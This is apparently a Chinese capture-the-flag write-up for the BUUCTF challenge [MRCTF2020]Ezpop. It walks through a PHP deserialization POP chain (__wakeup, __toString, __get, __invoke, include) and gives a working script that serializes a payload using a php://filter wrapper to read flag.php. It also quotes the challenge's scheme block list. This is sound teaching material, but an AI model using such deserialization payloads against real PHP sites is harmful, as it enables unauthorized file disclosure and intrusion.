BUUCTF [MRCTF2020]Ezpop

这道题对于刚接触到pop链的我直接把我整懵了,一边看着魔术方法一边分析

魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程,简单编程 (twle.cn)

代码解析

经过以上的分析我们可以理一下解题思路:接收参数反序列化之前先触发wakeup方法,进行一些过滤防止ssrf,我们可以将source赋值为实例对象触发tostring方法

如果我们将str赋值为Test类的一个对象,因为读取不到source触发get魔术方法

再将Test类中的p赋值为Modify类的一个对象,对象被当作函数使用直接触发invoke

方法,从而包含文件用伪协议读取出来

链子大概就是这样:show->__wakeup->__tostring->Test->__get->Modify->__invoke->append->include

因为var是protect属性无法在类外进行访问,所以我们直接进行复赋值

直接上我的脚本了,先将三个类实例化出三个对象a,b,c 通过这三个对象来访问类内部的变量

复制代码
$c->p = $a将Test中的p赋值为一个Modify对象,用来触发invoke方法
复制代码
$b->source = new Show()因为通过$b这个对象进行访问的,所以需要source赋值一个新的Show对象,用来触发__toString方法
复制代码
$b->source->str = $c中$b->source已经成为一个新的Show实例对象,通过该对象访问str,为其赋值为$c(Test类的对象),又因为Test类中访问不到source资源从而触发get方法

最后进行url编码是因为protected属性的变量会输出一些不可见的字符,直接复制显示就是乱码无法构成成功攻击,进行一次url编码即可,浏览器会自动解码的

复制代码
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
    public function append($value){
        include($value);	//包含flag.php
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;	//将Test实例化的对象给str,在Test中不存在source,此处调用__toString时触发__get方法
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
//    public function __construct(){
//        $this->p = array();           没用,注释掉
//    }

    public function __get($key){
        $function = $this->p;
        return $function();	//触发__invoke方法
    }
}

$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = new Show();
$b->source->str = $c;
echo urlencode(serialize($b));

得到一串base64

解码得到flag

相关推荐
上海云盾-小余2 小时前
网站恶意爬虫拦截策略:智能识别与封禁实操方案
网络·爬虫·安全·web安全
2301_780789663 小时前
手游遇到攻击为什么要用SDK游戏盾手游遇到攻击为什么要用 SDK 游戏盾?
安全·web安全·游戏·架构·kubernetes·ddos
运维行者_5 小时前
云计算连接性与互操作性
服务器·开发语言·网络·web安全·网络基础设施
asaotomo6 小时前
全本地运行的隐私防线:Hx0 数据卫士如何实现浏览器敏感信息与输入防泄漏
安全·web安全·浏览器插件
上海云盾-小余1 天前
恶意爬虫精准拦截:网站流量净化与资源守护方案
网络·爬虫·web安全
small_white_robot1 天前
(Win)文件上传数据流绕过-面试常考
网络·安全·web安全·网络安全
Ha_To1 天前
2026.5.20 资产信息收集工具ENscan的配置与使用
安全·web安全
一拳一个娘娘腔1 天前
【SRC漏洞挖掘系列】第04期:文件上传与解析——把图片变成“特洛伊木马”
安全·web安全
探索者011 天前
SQL注入深度解析笔记:从DNSlog外带到高级绕过技术
web安全·sql注入
宋浮檀s1 天前
DVWA通关教程1
网络·安全·web安全